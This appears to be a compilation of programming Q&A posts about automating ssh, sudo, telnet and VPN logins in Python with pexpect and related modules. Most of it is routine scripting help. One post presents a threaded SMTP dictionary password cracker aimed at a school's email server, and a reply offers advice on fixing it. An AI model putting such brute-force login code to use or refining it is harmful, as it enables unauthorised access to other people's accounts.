I make ssh login with this script:
import pxssh
import pexpect
s = pxssh.pxssh()
hostname = 'localhost'
username = 'py_worker'
password = 'nicejob'
s.login (hostname, username, password)
print "logged in"
Then I want to run some program which in some case may require sudo password and in some case may not require. So I want a scrip which could provide sudo password in those cases when required and just run the program if sudo is not asked.
I thought this code could handle:
s.sendline('sudo apt-get check')
i=s.expect(['password', pexpect.EOF])
if i==0:
print "I give password"
s.sendline("nicejob")
s.prompt()
elif i==1:
print "EOF cought"
s.prompt()
print s.before
Could someone help with code lines which could handle sudo correctly?
thanks for asking this, it helped me.
youll probably need to flesh out the exceptions and re for the rootprompt but here you go.
def sudo(s,password):
rootprompt = re.compile('.*[$#]')
s.sendline('sudo -s')
i = s.expect([rootprompt,'assword.*: '])
if i==0:
print "didnt need password!"
pass
elif i==1:
print "sending password"
s.sendline(password)
j = s.expect([rootprompt,'Sorry, try again'])
if j == 0:
pass
elif j == 1:
raise Exception("bad password")
else:
raise Exception("unexpected output")
s.set_unique_promp
Related
I'm trying to write a script to connect to VPN more easily. I want the script to use the user input and connect to a vpn endpoint via openvpn, print the process ID for the user, and then continue running in the background but return the user to the shell. I tried child.close(force=False), os.fork(), and a few other things without any luck. The code I'm using is below. Any advice is much appreciated!
import getpass
import os
import pexpect
import random
import subprocess
import sys
country = sys.argv[1] if len(sys.argv) > 1 else 'US'
print('Connecting to VPN through ' + country)
vpns=subprocess.run(['ls', '/etc/openvpn/'], capture_output=True).stdout.decode().split('\n')
matching_vpns=filter(lambda vpn: vpn[:2].lower() == country.lower(), vpns)
chosen_vpn = random.choice(list(matching_vpns))
print('Connecting to ' + chosen_vpn + '\n')
child = pexpect.spawnu('sudo openvpn /etc/openvpn/'+chosen_vpn)
child.expect('Enter Auth Username:')
username = input('Enter Auth Username: ')
child.sendline(username)
child.expect('Enter Auth Password:')
password = getpass.getpass('Enter Auth Password: ')
child.sendline(password)
child.logfile_read = sys.stdout
while True:
try:
child.expect('\n', timeout=None)
if 'Initialization Sequence Completed' in child.before:
print("\nSuccessfully connected to " + chosen_vpn)
print("To stop VPN, run 'sudo pkill -9 -P " + str(child.pid) + "'")
break
except pexpect.EOF:
break
I have this script:
#!/usr/bin/env python
#import needed modules
import telnetlib
import time
#define variables
HOST = "xxxxxx"
user = "xxxxxx"
password = "xxxxxx"
#open telnet connection
tn = telnetlib.Telnet(HOST, 10800)
time.sleep(2)
#check for initial screen and press enter to go to login
tn.read_until("Device")
tn.write("\r\n")
time.sleep(2)
#Wait for username prompt and enter user/pass
try:
tn.read_until("User Name:",5)
except:
#Timeout looking for Username prompt
print "CRITICAL: User Name prompt never arrived"
exit(2)
tn.write(user + "\r\n")
tn.read_until("Password :")
tn.write(password + "\r\n")
time.sleep(2)
#wait for logout prompt
try:
tn.read_until("7<Logout >",5)
except:
#Timeout looking for successful login
print "CRITICAL: Did not login successfully"
exit(2)
#Logout and close connection
tn.write("7\r")
tn.close()
#Exit with success
print "OK: Test login to MWA Succeeded"
exit(0)
No matter what I do, no exceptions are caught. I changed the read_until looking for "User Name:" to just some garbage characters and it still just gets to the end of the code. I'm hoping I'm just doing something very stupid and not an issue with telnetlib.
Thanks!
Per the docs:
Read until a given string, expected, is encountered or until timeout
seconds have passed.
When no match is found, return whatever is available instead, possibly
the empty string. Raise EOFError if the connection is closed and no
cooked data is available.
Check the return value in the try block, and if this value does not match your expectations, raise on your own to trigger the except case.
i want run telnet in python with pexpect lib and i want if telnet password is true, print true and wrong, print wrong...
now my code is:
import pexpect
ip="192.168.1.1"
password="admin"
child = pexpect.spawn("telnet "+ip+" -l admin", timeout=2)
child.expect ("Password:")
child.sendline ("admin")
child.expect(b"> ")
child.sendline ("ls")
child.close()
result = child.signalstatus
if result == 1:
print ("Success")
else:
print ("Bad Result")
in top code, when password is true, script work good and display "success" but when password is wrong, script not display "bad result" and just display a lot of error..
how can i do it?
When you entered bad password, you are not handling it gracefully so it raises a timeout exception and the child.close() was never executed. The errors you see are only the exception related print messages.
Solution:
You can pass a list of expectations and handle them accordingly
child = pexpect.spawn("telnet "+ip+" -l admin", timeout=2)
child.expect ("Password:")
child.sendline ("admin")
result = child.expect(["> ", pexpect.TIMEOUT])
if result == 0: #means prompt was caught successfully i.e. password was correct
child.sendline ("ls")
print ("Success")
elif result == 1:
print ("Bad Result")
child.close()
In fact, this can be made a function, where you can handle more exceptions and special scenarios as per your use-case.
/* This is not for anything illegal just that my school only uses 7 integers, and I want to see if I can get this to work in time as currently I need 1.59 years to crack a password. The school has it's own private server on site for anyone concerned and it's easily detectable. I'll do this only to me or my friends with their permission .*/
I just wanted to use multi processing or concurrent.futures to make this password cracker run in reasonable time.
Here is my attempt at paralleling it
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('myemail#private_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
This actually works only if the password is in the first line it, it only outputs the indicators i wrote on there like print ("Got to here3") It doesn't print the cracked password or even write it to a text file.
Have you tried
with ThreadPoolExecutor as exe:
exe.submit(conn)
It maybe that you aren't actually connected to the server
I'm trying to check for the existence of an executable on a remote machine, then run said executable. To do so I'm using subprocess to run ssh <host> ls <file>, and if that's successful, run ssh <host> <file>. ssh asks for a password, of course, and I'd like to provide that automatically. Also, I'd like to get the returncode from ls, and stdout and stderr from running the command.
So I know the communicate() method is needed, to avoid deadlocks, but I can't get the password to be recognized by Popen(stdin). Also I'm using Python 2.4.3, and stuck on that version. Here's the code I've got so far:
import os
import subprocess as sb
def WallHost(args):
#passwd = getpass.getpass()
passwd = "password"
for host in args:
# ssh to the machine and verify that the script is in /usr/bin
sshLsResult = sb.Popen(["ssh", host, "ls", "/usr/bin/wall"], stdin=sb.PIPE, stderr=sb.PIPE, stdout=sb.PIPE)
(sshLsStdout, sshLsStderr) = sshLsResult.communicate(input=passwd)
sshResult = sshLsResult.returncode
if sshResult != 0:
raise "wall is not installed on %s. Please check." % host
else:
sshWallResult = sb.Popen(["ssh", host, "/usr/bin/wall", "hello world"], stdin=sb.PIPE, stderr=sb.PIPE, stdout=sb.PIPE)
(sshWallStdout, sshWallStderr) = sshWallResult.communicate(input=passwd)
print "sshStdout for wall is \n%s\nsshStderr is \n\n" % (sshWallStdout, sshWallStderr)
args = ["127.0.0.1", "192.168.0.1", "10.10.265.1"]
WallHost(args)
Any help getting the process to accept that password is appreciated. Or if you've got a better way to check for the executable and then run it on a remote host. ;)
thx
anthony
How about using authorized_keys. Then, you don't need to input password.
You can also go hard way (only work in Linux):
import os
import pty
def wall(host, pw):
pid, fd = pty.fork()
if pid == 0: # Child
os.execvp('ssh', ['ssh', host, 'ls', '/usr/bin/wall'])
os._exit(1) # fail to execv
# read '..... password:', write password
os.read(fd, 1024)
os.write(fd, pw + '\n')
result = []
while True:
try:
data = os.read(fd, 1024)
except OSError:
break
if not data:
break
result.append(data)
pid, status = os.waitpid(pid, 0)
return status, ''.join(result)
status, output = wall('localhost', "secret")
print status
print output
http://docs.python.org/2/library/pty.html